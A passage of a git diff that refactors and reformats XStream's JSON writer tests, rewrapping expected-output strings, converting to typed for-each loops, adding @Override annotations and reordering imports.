results = new HashMap(); + final Map results = new HashMap(); results.put("optimizedMinimalString", "{'string':'text'}"); results.put("optimizedPrettyString", "{'string': 'text'}"); results.put("optimizedCompactString", "{'string': 'text'}"); @@ -202,18 +211,28 @@ public static Test suite() { results.put("noRootMinimalCharSequenceArray", "['text','buffer',null]"); results.put("noRootPrettyCharSequenceArray", "[\n 'text',\n 'buffer',\n null\n]"); results.put("noRootCompactCharSequenceArray", "[\n 'text',\n 'buffer',\n null\n]"); - results.put("explicitMinimalCharSequenceArray", "{'chseq-array':[[],[{'string':[[],['text']]},{'string-buffer':[[],['buffer']]},{'null':[[],[null]]}]]}"); - results.put("explicitPrettyCharSequenceArray", "{'chseq-array': [\n [\n ],\n [\n {\n 'string': [\n [\n ],\n [\n 'text'\n ]\n ]\n },\n {\n 'string-buffer': [\n [\n ],\n [\n 'buffer'\n ]\n ]\n },\n {\n 'null': [\n [\n ],\n [\n null\n ]\n ]\n }\n ]\n]}"); - results.put("explicitCompactCharSequenceArray", "{'chseq-array': [\n [],\n [\n {\n 'string': [\n [],\n [\n 'text'\n ]\n ]\n },\n {\n 'string-buffer': [\n [],\n [\n 'buffer'\n ]\n ]\n },\n {\n 'null': [\n [],\n [\n null\n ]\n ]\n }\n ]\n]}"); + results.put("explicitMinimalCharSequenceArray", + "{'chseq-array':[[],[{'string':[[],['text']]},{'string-buffer':[[],['buffer']]},{'null':[[],[null]]}]]}"); + results.put("explicitPrettyCharSequenceArray", + "{'chseq-array': [\n [\n ],\n [\n {\n 'string': [\n [\n ],\n [\n 'text'\n ]\n ]\n },\n {\n 'string-buffer': [\n [\n ],\n [\n 'buffer'\n ]\n ]\n },\n {\n 'null': [\n [\n ],\n [\n null\n ]\n ]\n }\n ]\n]}"); + results.put("explicitCompactCharSequenceArray", + "{'chseq-array': [\n [],\n [\n {\n 'string': [\n [],\n [\n 'text'\n ]\n ]\n },\n {\n 'string-buffer': [\n [],\n [\n 'buffer'\n ]\n ]\n },\n {\n 'null': [\n [],\n [\n null\n ]\n ]\n }\n ]\n]}"); results.put("optimizedMinimalCharSequenceArray+ID", "{'chseq-array':['text',{'@id':'2','$':'buffer'},null]}"); - results.put("optimizedPrettyCharSequenceArray+ID", "{'chseq-array': [\n 'text',\n {\n '@id': '2',\n '$': 'buffer'\n },\n null\n]}"); - results.put("optimizedCompactCharSequenceArray+ID", "{'chseq-array': [\n 'text',\n {\n '@id': '2',\n '$': 'buffer'\n },\n null\n]}"); + results.put("optimizedPrettyCharSequenceArray+ID", + "{'chseq-array': [\n 'text',\n {\n '@id': '2',\n '$': 'buffer'\n },\n null\n]}"); + results.put("optimizedCompactCharSequenceArray+ID", + "{'chseq-array': [\n 'text',\n {\n '@id': '2',\n '$': 'buffer'\n },\n null\n]}"); results.put("noRootMinimalCharSequenceArray+ID", "['text',{'@id':'2','$':'buffer'},null]"); - results.put("noRootPrettyCharSequenceArray+ID", "[\n 'text',\n {\n '@id': '2',\n '$': 'buffer'\n },\n null\n]"); - results.put("noRootCompactCharSequenceArray+ID", "[\n 'text',\n {\n '@id': '2',\n '$': 'buffer'\n },\n null\n]"); - results.put("explicitMinimalCharSequenceArray+ID", "{'chseq-array':[[{'id':'1'}],[{'string':[[],['text']]},{'string-buffer':[[{'id':'2'}],['buffer']]},{'null':[[],[null]]}]]}"); - results.put("explicitPrettyCharSequenceArray+ID", "{'chseq-array': [\n [\n {\n 'id': '1'\n }\n ],\n [\n {\n 'string': [\n [\n ],\n [\n 'text'\n ]\n ]\n },\n {\n 'string-buffer': [\n [\n {\n 'id': '2'\n }\n ],\n [\n 'buffer'\n ]\n ]\n },\n {\n 'null': [\n [\n ],\n [\n null\n ]\n ]\n }\n ]\n]}"); - results.put("explicitCompactCharSequenceArray+ID", "{'chseq-array': [\n [\n {\n 'id': '1'\n }\n ],\n [\n {\n 'string': [\n [],\n [\n 'text'\n ]\n ]\n },\n {\n 'string-buffer': [\n [\n {\n 'id': '2'\n }\n ],\n [\n 'buffer'\n ]\n ]\n },\n {\n 'null': [\n [],\n [\n null\n ]\n ]\n }\n ]\n]}"); + results.put("noRootPrettyCharSequenceArray+ID", + "[\n 'text',\n {\n '@id': '2',\n '$': 'buffer'\n },\n null\n]"); + results.put("noRootCompactCharSequenceArray+ID", + "[\n 'text',\n {\n '@id': '2',\n '$': 'buffer'\n },\n null\n]"); + results.put("explicitMinimalCharSequenceArray+ID", + "{'chseq-array':[[{'id':'1'}],[{'string':[[],['text']]},{'string-buffer':[[{'id':'2'}],['buffer']]},{'null':[[],[null]]}]]}"); + results.put("explicitPrettyCharSequenceArray+ID", + "{'chseq-array': [\n [\n {\n 'id': '1'\n }\n ],\n [\n {\n 'string': [\n [\n ],\n [\n 'text'\n ]\n ]\n },\n {\n 'string-buffer': [\n [\n {\n 'id': '2'\n }\n ],\n [\n 'buffer'\n ]\n ]\n },\n {\n 'null': [\n [\n ],\n [\n null\n ]\n ]\n }\n ]\n]}"); + results.put("explicitCompactCharSequenceArray+ID", + "{'chseq-array': [\n [\n {\n 'id': '1'\n }\n ],\n [\n {\n 'string': [\n [],\n [\n 'text'\n ]\n ]\n },\n {\n 'string-buffer': [\n [\n {\n 'id': '2'\n }\n ],\n [\n 'buffer'\n ]\n ]\n },\n {\n 'null': [\n [],\n [\n null\n ]\n ]\n }\n ]\n]}"); results.put("optimizedMinimalEmptyStringArray", "{'string-array-array':[[]]}"); results.put("optimizedPrettyEmptyStringArray", "{'string-array-array': [\n [\n ]\n]}"); results.put("optimizedCompactEmptyStringArray", "{'string-array-array': [\n []\n]}"); @@ -221,35 +240,50 @@ public static Test suite() { results.put("noRootPrettyEmptyStringArray", "[\n [\n ]\n]"); results.put("noRootCompactEmptyStringArray", "[\n []\n]"); results.put("explicitMinimalEmptyStringArray", "{'string-array-array':[[],[{'string-array':[[],[]]}]]}"); - results.put("explicitPrettyEmptyStringArray", "{'string-array-array': [\n [\n ],\n [\n {\n 'string-array': [\n [\n ],\n [\n ]\n ]\n }\n ]\n]}"); - results.put("explicitCompactEmptyStringArray", "{'string-array-array': [\n [],\n [\n {\n 'string-array': [\n [],\n []\n ]\n }\n ]\n]}"); + results.put("explicitPrettyEmptyStringArray", + "{'string-array-array': [\n [\n ],\n [\n {\n 'string-array': [\n [\n ],\n [\n ]\n ]\n }\n ]\n]}"); + results.put("explicitCompactEmptyStringArray", + "{'string-array-array': [\n [],\n [\n {\n 'string-array': [\n [],\n []\n ]\n }\n ]\n]}"); results.put("optimizedMinimalEmptyStringArray+ID", "{'string-array-array':[[]]}"); results.put("optimizedPrettyEmptyStringArray+ID", "{'string-array-array': [\n [\n ]\n]}"); results.put("optimizedCompactEmptyStringArray+ID", "{'string-array-array': [\n []\n]}"); results.put("noRootMinimalEmptyStringArray+ID", "[[]]"); results.put("noRootPrettyEmptyStringArray+ID", "[\n [\n ]\n]"); results.put("noRootCompactEmptyStringArray+ID", "[\n []\n]"); - results.put("explicitMinimalEmptyStringArray+ID", "{'string-array-array':[[{'id':'1'}],[{'string-array':[[{'id':'2'}],[]]}]]}"); - results.put("explicitPrettyEmptyStringArray+ID", "{'string-array-array': [\n [\n {\n 'id': '1'\n }\n ],\n [\n {\n 'string-array': [\n [\n {\n 'id': '2'\n }\n ],\n [\n ]\n ]\n }\n ]\n]}"); - results.put("explicitCompactEmptyStringArray+ID", "{'string-array-array': [\n [\n {\n 'id': '1'\n }\n ],\n [\n {\n 'string-array': [\n [\n {\n 'id': '2'\n }\n ],\n []\n ]\n }\n ]\n]}"); + results.put("explicitMinimalEmptyStringArray+ID", + "{'string-array-array':[[{'id':'1'}],[{'string-array':[[{'id':'2'}],[]]}]]}"); + results.put("explicitPrettyEmptyStringArray+ID", + "{'string-array-array': [\n [\n {\n 'id': '1'\n }\n ],\n [\n {\n 'string-array': [\n [\n {\n 'id': '2'\n }\n ],\n [\n ]\n ]\n }\n ]\n]}"); + results.put("explicitCompactEmptyStringArray+ID", + "{'string-array-array': [\n [\n {\n 'id': '1'\n }\n ],\n [\n {\n 'string-array': [\n [\n {\n 'id': '2'\n }\n ],\n []\n ]\n }\n ]\n]}"); results.put("optimizedMinimalProperties", "{'properties':[{'@name':'one','@value':'1'}]}"); - results.put("optimizedPrettyProperties", "{'properties': [\n {\n '@name': 'one',\n '@value': '1'\n }\n]}"); - results.put("optimizedCompactProperties", "{'properties': [\n {\n '@name': 'one',\n '@value': '1'\n }\n]}"); + results.put("optimizedPrettyProperties", + "{'properties': [\n {\n '@name': 'one',\n '@value': '1'\n }\n]}"); + results.put("optimizedCompactProperties", + "{'properties': [\n {\n '@name': 'one',\n '@value': '1'\n }\n]}"); results.put("noRootMinimalProperties", "[{'@name':'one','@value':'1'}]"); results.put("noRootPrettyProperties", "[\n {\n '@name': 'one',\n '@value': '1'\n }\n]"); results.put("noRootCompactProperties", "[\n {\n '@name': 'one',\n '@value': '1'\n }\n]"); - results.put("explicitMinimalProperties", "{'properties':[[],[{'property':[[{'name':'one','value':'1'}],[]]}]]}"); - results.put("explicitPrettyProperties", "{'properties': [\n [\n ],\n [\n {\n 'property': [\n [\n {\n 'name': 'one',\n 'value': '1'\n }\n ],\n [\n ]\n ]\n }\n ]\n]}"); - results.put("explicitCompactProperties", "{'properties': [\n [],\n [\n {\n 'property': [\n [\n {\n 'name': 'one',\n 'value': '1'\n }\n ],\n []\n ]\n }\n ]\n]}"); + results.put("explicitMinimalProperties", + "{'properties':[[],[{'property':[[{'name':'one','value':'1'}],[]]}]]}"); + results.put("explicitPrettyProperties", + "{'properties': [\n [\n ],\n [\n {\n 'property': [\n [\n {\n 'name': 'one',\n 'value': '1'\n }\n ],\n [\n ]\n ]\n }\n ]\n]}"); + results.put("explicitCompactProperties", + "{'properties': [\n [],\n [\n {\n 'property': [\n [\n {\n 'name': 'one',\n 'value': '1'\n }\n ],\n []\n ]\n }\n ]\n]}"); results.put("optimizedMinimalObject", "{'oss':{'@license':'BSD','vendor':'Codehaus','name':'XStream'}}"); - results.put("optimizedPrettyObject", "{'oss': {\n '@license': 'BSD',\n 'vendor': 'Codehaus',\n 'name': 'XStream'\n}}"); - results.put("optimizedCompactObject", "{'oss': {\n '@license': 'BSD',\n 'vendor': 'Codehaus',\n 'name': 'XStream'\n}}"); + results.put("optimizedPrettyObject", + "{'oss': {\n '@license': 'BSD',\n 'vendor': 'Codehaus',\n 'name': 'XStream'\n}}"); + results.put("optimizedCompactObject", + "{'oss': {\n '@license': 'BSD',\n 'vendor': 'Codehaus',\n 'name': 'XStream'\n}}"); results.put("noRootMinimalObject", "{'@license':'BSD','vendor':'Codehaus','name':'XStream'}"); results.put("noRootPrettyObject", "{\n '@license': 'BSD',\n 'vendor': 'Codehaus',\n 'name': 'XStream'\n}"); results.put("noRootCompactObject", "{\n '@license': 'BSD',\n 'vendor': 'Codehaus',\n 'name': 'XStream'\n}"); - results.put("explicitMinimalObject", "{'oss':[[{'license':'BSD'}],[{'vendor':[[],['Codehaus']]},{'name':[[],['XStream']]}]]}"); - results.put("explicitPrettyObject", "{'oss': [\n [\n {\n 'license': 'BSD'\n }\n ],\n [\n {\n 'vendor': [\n [\n ],\n [\n 'Codehaus'\n ]\n ]\n },\n {\n 'name': [\n [\n ],\n [\n 'XStream'\n ]\n ]\n }\n ]\n]}"); - results.put("explicitCompactObject", "{'oss': [\n [\n {\n 'license': 'BSD'\n }\n ],\n [\n {\n 'vendor': [\n [],\n [\n 'Codehaus'\n ]\n ]\n },\n {\n 'name': [\n [],\n [\n 'XStream'\n ]\n ]\n }\n ]\n]}"); + results.put("explicitMinimalObject", + "{'oss':[[{'license':'BSD'}],[{'vendor':[[],['Codehaus']]},{'name':[[],['XStream']]}]]}"); + results.put("explicitPrettyObject", + "{'oss': [\n [\n {\n 'license': 'BSD'\n }\n ],\n [\n {\n 'vendor': [\n [\n ],\n [\n 'Codehaus'\n ]\n ]\n },\n {\n 'name': [\n [\n ],\n [\n 'XStream'\n ]\n ]\n }\n ]\n]}"); + results.put("explicitCompactObject", + "{'oss': [\n [\n {\n 'license': 'BSD'\n }\n ],\n [\n {\n 'vendor': [\n [],\n [\n 'Codehaus'\n ]\n ]\n },\n {\n 'name': [\n [],\n [\n 'XStream'\n ]\n ]\n }\n ]\n]}"); results.put("optimizedMinimalAttributeOnly", "{'oss':{'@license':'BSD'}}"); results.put("optimizedPrettyAttributeOnly", "{'oss': {\n '@license': 'BSD'\n}}"); results.put("optimizedCompactAttributeOnly", "{'oss': {\n '@license': 'BSD'\n}}"); @@ -257,17 +291,26 @@ public static Test suite() { results.put("noRootPrettyAttributeOnly", "{\n '@license': 'BSD'\n}"); results.put("noRootCompactAttributeOnly", "{\n '@license': 'BSD'\n}"); results.put("explicitMinimalAttributeOnly", "{'oss':[[{'license':'BSD'}],[]]}"); - results.put("explicitPrettyAttributeOnly", "{'oss': [\n [\n {\n 'license': 'BSD'\n }\n ],\n [\n ]\n]}"); - results.put("explicitCompactAttributeOnly", "{'oss': [\n [\n {\n 'license': 'BSD'\n }\n ],\n []\n]}"); + results.put("explicitPrettyAttributeOnly", + "{'oss': [\n [\n {\n 'license': 'BSD'\n }\n ],\n [\n ]\n]}"); + results.put("explicitCompactAttributeOnly", + "{'oss': [\n [\n {\n 'license': 'BSD'\n }\n ],\n []\n]}"); results.put("optimizedMinimalX", "{'x':{'aStr':'X','anInt':42,'innerObj':{'@class':'ys','$':'Y'}}}"); - results.put("optimizedPrettyX", "{'x': {\n 'aStr': 'X',\n 'anInt': 42,\n 'innerObj': {\n '@class': 'ys',\n '$': 'Y'\n }\n}}"); - results.put("optimizedCompactX", "{'x': {\n 'aStr': 'X',\n 'anInt': 42,\n 'innerObj': {\n '@class': 'ys',\n '$': 'Y'\n }\n}}"); + results.put("optimizedPrettyX", + "{'x': {\n 'aStr': 'X',\n 'anInt': 42,\n 'innerObj': {\n '@class': 'ys',\n '$': 'Y'\n }\n}}"); + results.put("optimizedCompactX", + "{'x': {\n 'aStr': 'X',\n 'anInt': 42,\n 'innerObj': {\n '@class': 'ys',\n '$': 'Y'\n }\n}}"); results.put("noRootMinimalX", "{'aStr':'X','anInt':42,'innerObj':{'@class':'ys','$':'Y'}}"); - results.put("noRootPrettyX", "{\n 'aStr': 'X',\n 'anInt': 42,\n 'innerObj': {\n '@class': 'ys',\n '$': 'Y'\n }\n}"); - results.put("noRootCompactX", "{\n 'aStr': 'X',\n 'anInt': 42,\n 'innerObj': {\n '@class': 'ys',\n '$': 'Y'\n }\n}"); - results.put("explicitMinimalX", "{'x':[[],[{'aStr':[[],['X']]},{'anInt':[[],[42]]},{'innerObj':[[{'class':'ys'}],['Y']]}]]}"); - results.put("explicitPrettyX", "{'x': [\n [\n ],\n [\n {\n 'aStr': [\n [\n ],\n [\n 'X'\n ]\n ]\n },\n {\n 'anInt': [\n [\n ],\n [\n 42\n ]\n ]\n },\n {\n 'innerObj': [\n [\n {\n 'class': 'ys'\n }\n ],\n [\n 'Y'\n ]\n ]\n }\n ]\n]}"); - results.put("explicitCompactX", "{'x': [\n [],\n [\n {\n 'aStr': [\n [],\n [\n 'X'\n ]\n ]\n },\n {\n 'anInt': [\n [],\n [\n 42\n ]\n ]\n },\n {\n 'innerObj': [\n [\n {\n 'class': 'ys'\n }\n ],\n [\n 'Y'\n ]\n ]\n }\n ]\n]}"); + results.put("noRootPrettyX", + "{\n 'aStr': 'X',\n 'anInt': 42,\n 'innerObj': {\n '@class': 'ys',\n '$': 'Y'\n }\n}"); + results.put("noRootCompactX", + "{\n 'aStr': 'X',\n 'anInt': 42,\n 'innerObj': {\n '@class': 'ys',\n '$': 'Y'\n }\n}"); + results.put("explicitMinimalX", + "{'x':[[],[{'aStr':[[],['X']]},{'anInt':[[],[42]]},{'innerObj':[[{'class':'ys'}],['Y']]}]]}"); + results.put("explicitPrettyX", + "{'x': [\n [\n ],\n [\n {\n 'aStr': [\n [\n ],\n [\n 'X'\n ]\n ]\n },\n {\n 'anInt': [\n [\n ],\n [\n 42\n ]\n ]\n },\n {\n 'innerObj': [\n [\n {\n 'class': 'ys'\n }\n ],\n [\n 'Y'\n ]\n ]\n }\n ]\n]}"); + results.put("explicitCompactX", + "{'x': [\n [],\n [\n {\n 'aStr': [\n [],\n [\n 'X'\n ]\n ]\n },\n {\n 'anInt': [\n [],\n [\n 42\n ]\n ]\n },\n {\n 'innerObj': [\n [\n {\n 'class': 'ys'\n }\n ],\n [\n 'Y'\n ]\n ]\n }\n ]\n]}"); results.put("optimizedMinimalEmptyX", "{'x':{'anInt':0,'innerObj':{}}}"); results.put("optimizedPrettyEmptyX", "{'x': {\n 'anInt': 0,\n 'innerObj': {\n }\n}}"); results.put("optimizedCompactEmptyX", "{'x': {\n 'anInt': 0,\n 'innerObj': {}\n}}"); @@ -275,17 +318,26 @@ public static Test suite() { results.put("noRootPrettyEmptyX", "{\n 'anInt': 0,\n 'innerObj': {\n }\n}"); results.put("noRootCompactEmptyX", "{\n 'anInt': 0,\n 'innerObj': {}\n}"); results.put("explicitMinimalEmptyX", "{'x':[[],[{'anInt':[[],[0]]},{'innerObj':[[],[]]}]]}"); - results.put("explicitPrettyEmptyX", "{'x': [\n [\n ],\n [\n {\n 'anInt': [\n [\n ],\n [\n 0\n ]\n ]\n },\n {\n 'innerObj': [\n [\n ],\n [\n ]\n ]\n }\n ]\n]}"); - results.put("explicitCompactEmptyX", "{'x': [\n [],\n [\n {\n 'anInt': [\n [],\n [\n 0\n ]\n ]\n },\n {\n 'innerObj': [\n [],\n []\n ]\n }\n ]\n]}"); + results.put("explicitPrettyEmptyX", + "{'x': [\n [\n ],\n [\n {\n 'anInt': [\n [\n ],\n [\n 0\n ]\n ]\n },\n {\n 'innerObj': [\n [\n ],\n [\n ]\n ]\n }\n ]\n]}"); + results.put("explicitCompactEmptyX", + "{'x': [\n [],\n [\n {\n 'anInt': [\n [],\n [\n 0\n ]\n ]\n },\n {\n 'innerObj': [\n [],\n []\n ]\n }\n ]\n]}"); results.put("optimizedMinimalCollections", "{'collections':{'good':['XStream'],'bad':[{'anInt':0}]}}"); - results.put("optimizedPrettyCollections", "{'collections': {\n 'good': [\n 'XStream'\n ],\n 'bad': [\n {\n 'anInt': 0\n }\n ]\n}}"); - results.put("optimizedCompactCollections", "{'collections': {\n 'good': [\n 'XStream'\n ],\n 'bad': [\n {\n 'anInt': 0\n }\n ]\n}}"); + results.put("optimizedPrettyCollections", + "{'collections': {\n 'good': [\n 'XStream'\n ],\n 'bad': [\n {\n 'anInt': 0\n }\n ]\n}}"); + results.put("optimizedCompactCollections", + "{'collections': {\n 'good': [\n 'XStream'\n ],\n 'bad': [\n {\n 'anInt': 0\n }\n ]\n}}"); results.put("noRootMinimalCollections", "{'good':['XStream'],'bad':[{'anInt':0}]}"); - results.put("noRootPrettyCollections", "{\n 'good': [\n 'XStream'\n ],\n 'bad': [\n {\n 'anInt': 0\n }\n ]\n}"); - results.put("noRootCompactCollections", "{\n 'good': [\n 'XStream'\n ],\n 'bad': [\n {\n 'anInt': 0\n }\n ]\n}"); - results.put("explicitMinimalCollections", "{'collections':[[],[{'good':[[{'class':'linked-list'}],[{'string':[[],['XStream']]}]]},{'bad':[[{'class':'sorted-set'}],[{'x':[[],[{'anInt':[[],[0]]}]]}]]}]]}"); - results.put("explicitPrettyCollections", "{'collections': [\n [\n ],\n [\n {\n 'good': [\n [\n {\n 'class': 'linked-list'\n }\n ],\n [\n {\n 'string': [\n [\n ],\n [\n 'XStream'\n ]\n ]\n }\n ]\n ]\n },\n {\n 'bad': [\n [\n {\n 'class': 'sorted-set'\n }\n ],\n [\n {\n 'x': [\n [\n ],\n [\n {\n 'anInt': [\n [\n ],\n [\n 0\n ]\n ]\n }\n ]\n ]\n }\n ]\n ]\n }\n ]\n]}"); - results.put("explicitCompactCollections", "{'collections': [\n [],\n [\n {\n 'good': [\n [\n {\n 'class': 'linked-list'\n }\n ],\n [\n {\n 'string': [\n [],\n [\n 'XStream'\n ]\n ]\n }\n ]\n ]\n },\n {\n 'bad': [\n [\n {\n 'class': 'sorted-set'\n }\n ],\n [\n {\n 'x': [\n [],\n [\n {\n 'anInt': [\n [],\n [\n 0\n ]\n ]\n }\n ]\n ]\n }\n ]\n ]\n }\n ]\n]}"); + results.put("noRootPrettyCollections", + "{\n 'good': [\n 'XStream'\n ],\n 'bad': [\n {\n 'anInt': 0\n }\n ]\n}"); + results.put("noRootCompactCollections", + "{\n 'good': [\n 'XStream'\n ],\n 'bad': [\n {\n 'anInt': 0\n }\n ]\n}"); + results.put("explicitMinimalCollections", + "{'collections':[[],[{'good':[[{'class':'linked-list'}],[{'string':[[],['XStream']]}]]},{'bad':[[{'class':'sorted-set'}],[{'x':[[],[{'anInt':[[],[0]]}]]}]]}]]}"); + results.put("explicitPrettyCollections", + "{'collections': [\n [\n ],\n [\n {\n 'good': [\n [\n {\n 'class': 'linked-list'\n }\n ],\n [\n {\n 'string': [\n [\n ],\n [\n 'XStream'\n ]\n ]\n }\n ]\n ]\n },\n {\n 'bad': [\n [\n {\n 'class': 'sorted-set'\n }\n ],\n [\n {\n 'x': [\n [\n ],\n [\n {\n 'anInt': [\n [\n ],\n [\n 0\n ]\n ]\n }\n ]\n ]\n }\n ]\n ]\n }\n ]\n]}"); + results.put("explicitCompactCollections", + "{'collections': [\n [],\n [\n {\n 'good': [\n [\n {\n 'class': 'linked-list'\n }\n ],\n [\n {\n 'string': [\n [],\n [\n 'XStream'\n ]\n ]\n }\n ]\n ]\n },\n {\n 'bad': [\n [\n {\n 'class': 'sorted-set'\n }\n ],\n [\n {\n 'x': [\n [],\n [\n {\n 'anInt': [\n [],\n [\n 0\n ]\n ]\n }\n ]\n ]\n }\n ]\n ]\n }\n ]\n]}"); results.put("optimizedMinimalEmptyList", "{'list':[]}"); results.put("optimizedPrettyEmptyList", "{'list': [\n]}"); results.put("optimizedCompactEmptyList", "{'list': []}"); @@ -296,31 +348,35 @@ public static Test suite() { results.put("explicitPrettyEmptyList", "{'list': [\n [\n ],\n [\n ]\n]}"); results.put("explicitCompactEmptyList", "{'list': [\n [],\n []\n]}"); results.put("optimizedMinimalCustomConverter", "{'h':{'str':'test','protocol':{'id':'ldap'},'i':42}}"); - results.put("optimizedPrettyCustomConverter", "{'h': {\n 'str': 'test',\n 'protocol': {\n 'id': 'ldap'\n },\n 'i': 42\n}}"); - results.put("optimizedCompactCustomConverter", "{'h': {\n 'str': 'test',\n 'protocol': {\n 'id': 'ldap'\n },\n 'i': 42\n}}"); + results.put("optimizedPrettyCustomConverter", + "{'h': {\n 'str': 'test',\n 'protocol': {\n 'id': 'ldap'\n },\n 'i': 42\n}}"); + results.put("optimizedCompactCustomConverter", + "{'h': {\n 'str': 'test',\n 'protocol': {\n 'id': 'ldap'\n },\n 'i': 42\n}}"); results.put("noRootMinimalCustomConverter", "{'str':'test','protocol':{'id':'ldap'},'i':42}"); - results.put("noRootPrettyCustomConverter", "{\n 'str': 'test',\n 'protocol': {\n 'id': 'ldap'\n },\n 'i': 42\n}"); - results.put("noRootCompactCustomConverter", "{\n 'str': 'test',\n 'protocol': {\n 'id': 'ldap'\n },\n 'i': 42\n}"); - results.put("explicitMinimalCustomConverter", "{'h':[[],[{'str':[[],['test']]},{'protocol':[[],[{'id':[[],['ldap']]}]]},{'i':[[],[42]]}]]}"); - results.put("explicitPrettyCustomConverter", "{'h': [\n [\n ],\n [\n {\n 'str': [\n [\n ],\n [\n 'test'\n ]\n ]\n },\n {\n 'protocol': [\n [\n ],\n [\n {\n 'id': [\n [\n ],\n [\n 'ldap'\n ]\n ]\n }\n ]\n ]\n },\n {\n 'i': [\n [\n ],\n [\n 42\n ]\n ]\n }\n ]\n]}"); - results.put("explicitCompactCustomConverter", "{'h': [\n [],\n [\n {\n 'str': [\n [],\n [\n 'test'\n ]\n ]\n },\n {\n 'protocol': [\n [],\n [\n {\n 'id': [\n [],\n [\n 'ldap'\n ]\n ]\n }\n ]\n ]\n },\n {\n 'i': [\n [],\n [\n 42\n ]\n ]\n }\n ]\n]}"); - - TestSuite suite = new TestSuite(JsonWriterFormatTest.class.getName()); - for (final Iterator iterMode = modes.entrySet().iterator(); iterMode.hasNext();) { - final Map.Entry entryMode = (Map.Entry)iterMode.next(); - final String modeName = (String)entryMode.getKey(); - final int mode = ((Integer)entryMode.getValue()).intValue(); - for (final Iterator iterFormat = formats.entrySet().iterator(); iterFormat.hasNext();) { - final Map.Entry entryFormat = (Map.Entry)iterFormat.next(); - final String formatName = (String)entryFormat.getKey(); - final JsonWriter.Format format = (JsonWriter.Format)entryFormat.getValue(); - for (final Iterator iterTarget = targets.entrySet().iterator(); iterTarget.hasNext();) { - final Map.Entry entryTarget = (Map.Entry)iterTarget.next(); - final String targetName = (String)entryTarget.getKey(); + results.put("noRootPrettyCustomConverter", + "{\n 'str': 'test',\n 'protocol': {\n 'id': 'ldap'\n },\n 'i': 42\n}"); + results.put("noRootCompactCustomConverter", + "{\n 'str': 'test',\n 'protocol': {\n 'id': 'ldap'\n },\n 'i': 42\n}"); + results.put("explicitMinimalCustomConverter", + "{'h':[[],[{'str':[[],['test']]},{'protocol':[[],[{'id':[[],['ldap']]}]]},{'i':[[],[42]]}]]}"); + results.put("explicitPrettyCustomConverter", + "{'h': [\n [\n ],\n [\n {\n 'str': [\n [\n ],\n [\n 'test'\n ]\n ]\n },\n {\n 'protocol': [\n [\n ],\n [\n {\n 'id': [\n [\n ],\n [\n 'ldap'\n ]\n ]\n }\n ]\n ]\n },\n {\n 'i': [\n [\n ],\n [\n 42\n ]\n ]\n }\n ]\n]}"); + results.put("explicitCompactCustomConverter", + "{'h': [\n [],\n [\n {\n 'str': [\n [],\n [\n 'test'\n ]\n ]\n },\n {\n 'protocol': [\n [],\n [\n {\n 'id': [\n [],\n [\n 'ldap'\n ]\n ]\n }\n ]\n ]\n },\n {\n 'i': [\n [],\n [\n 42\n ]\n ]\n }\n ]\n]}"); + + final TestSuite suite = new TestSuite(JsonWriterFormatTest.class.getName()); + for (final Map.Entry entryMode : modes.entrySet()) { + final String modeName = entryMode.getKey(); + final int mode = entryMode.getValue().intValue(); + for (final Map.Entry entryFormat : formats.entrySet()) { + final String formatName = entryFormat.getKey(); + final JsonWriter.Format format = entryFormat.getValue(); + for (final Map.Entry entryTarget : targets.entrySet()) { + final String targetName = entryTarget.getKey(); final Object target = entryTarget.getValue(); final String name = modeName + formatName + targetName; - final String result = ((String)results.get(name)).replace('\'', '"'); - + final String result = results.get(name).replace('\'', '"'); + suite.addTest(new JsonWriterFormatTest(name, target, result, mode, format)); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterModeDroppingRootTest.java b/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterModeDroppingRootTest.java index 3f6cc2b27..86a588487 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterModeDroppingRootTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/json/JsonWriterModeDroppingRootTest.java @@ -1,35 +1,35 @@ /* - * Copyright (C) 2008, 2011, 2012 XStream Committers. + * Copyright (C) 2008, 2011, 2012, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. November 2008 by Joerg Schaible */ package com.thoughtworks.xstream.io.json; +import java.io.Writer; +import java.util.ArrayList; +import java.util.List; + import com.thoughtworks.acceptance.objects.Original; import com.thoughtworks.acceptance.objects.Replaced; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; -import java.io.Writer; -import java.util.ArrayList; -import java.util.List; - /** - * Some of these test cases are taken from example JSON listed at - * http://www.json.org/example.html - * + * Some of these test cases are taken from example JSON listed at http://www.json.org/example.html + * * @author Paul Hammant * @author Jörg Schaible */ public class JsonWriterModeDroppingRootTest extends JsonHierarchicalStreamDriverTest { + @Override protected void setUp() throws Exception { super.setUp(); xstream.aliasSystemAttribute(null, "class"); @@ -37,21 +37,25 @@ protected void setUp() throws Exception { xstream.aliasSystemAttribute(null, "defined-in"); } + @Override protected JsonHierarchicalStreamDriver createDriver() { return new JsonHierarchicalStreamDriver() { - public HierarchicalStreamWriter createWriter(Writer out) { + @SuppressWarnings("static-access") + @Override + public HierarchicalStreamWriter createWriter(final Writer out) { // no root and allow invalid JSON for single values as root object return new JsonWriter(out, JsonWriter.DROP_ROOT_MODE); } }; } + @Override protected String normalizeExpectation(final String expected) { - return super.normalizeExpectation(expected.substring( - expected.indexOf(": ") + 2, expected.length() - 1)); + return super.normalizeExpectation(expected.substring(expected.indexOf(": ") + 2, expected.length() - 1)); } + @Override public void testCanMarshalSets() { // This from http://www.json.org/example.html xstream.alias("menu", MenuWithSet.class); @@ -64,29 +68,30 @@ public void testCanMarshalSets() { assertTrue(json.indexOf(expectedNew.replace('\'', '"')) > 0); assertTrue(json.indexOf(expectedOpen.replace('\'', '"')) > 0); assertTrue(json.indexOf(expectedClose.replace('\'', '"')) > 0); - assertTrue(json.endsWith(expectedMenuEnd.replace('\'', '"').substring( - 0, expectedMenuEnd.length() - 1))); + assertTrue(json.endsWith(expectedMenuEnd.replace('\'', '"').substring(0, expectedMenuEnd.length() - 1))); } + @Override public void testBracesAndSquareBracketsAreNotEscaped() { - final String expected = ("" // + final String expected = ("" // + "[\n" + " '..{}[],,'\n" + "]").replace('\'', '"'); assertEquals(expected, xstream.toXML(new String[]{"..{}[],,"})); } + @Override public void testWillWriteTagValueAsDefaultValueIfNecessary() { xstream.alias("sa", SystemAttributes.class); xstream.alias("original", Original.class); xstream.alias("replaced", Replaced.class); - SystemAttributes sa = new SystemAttributes(); + final SystemAttributes 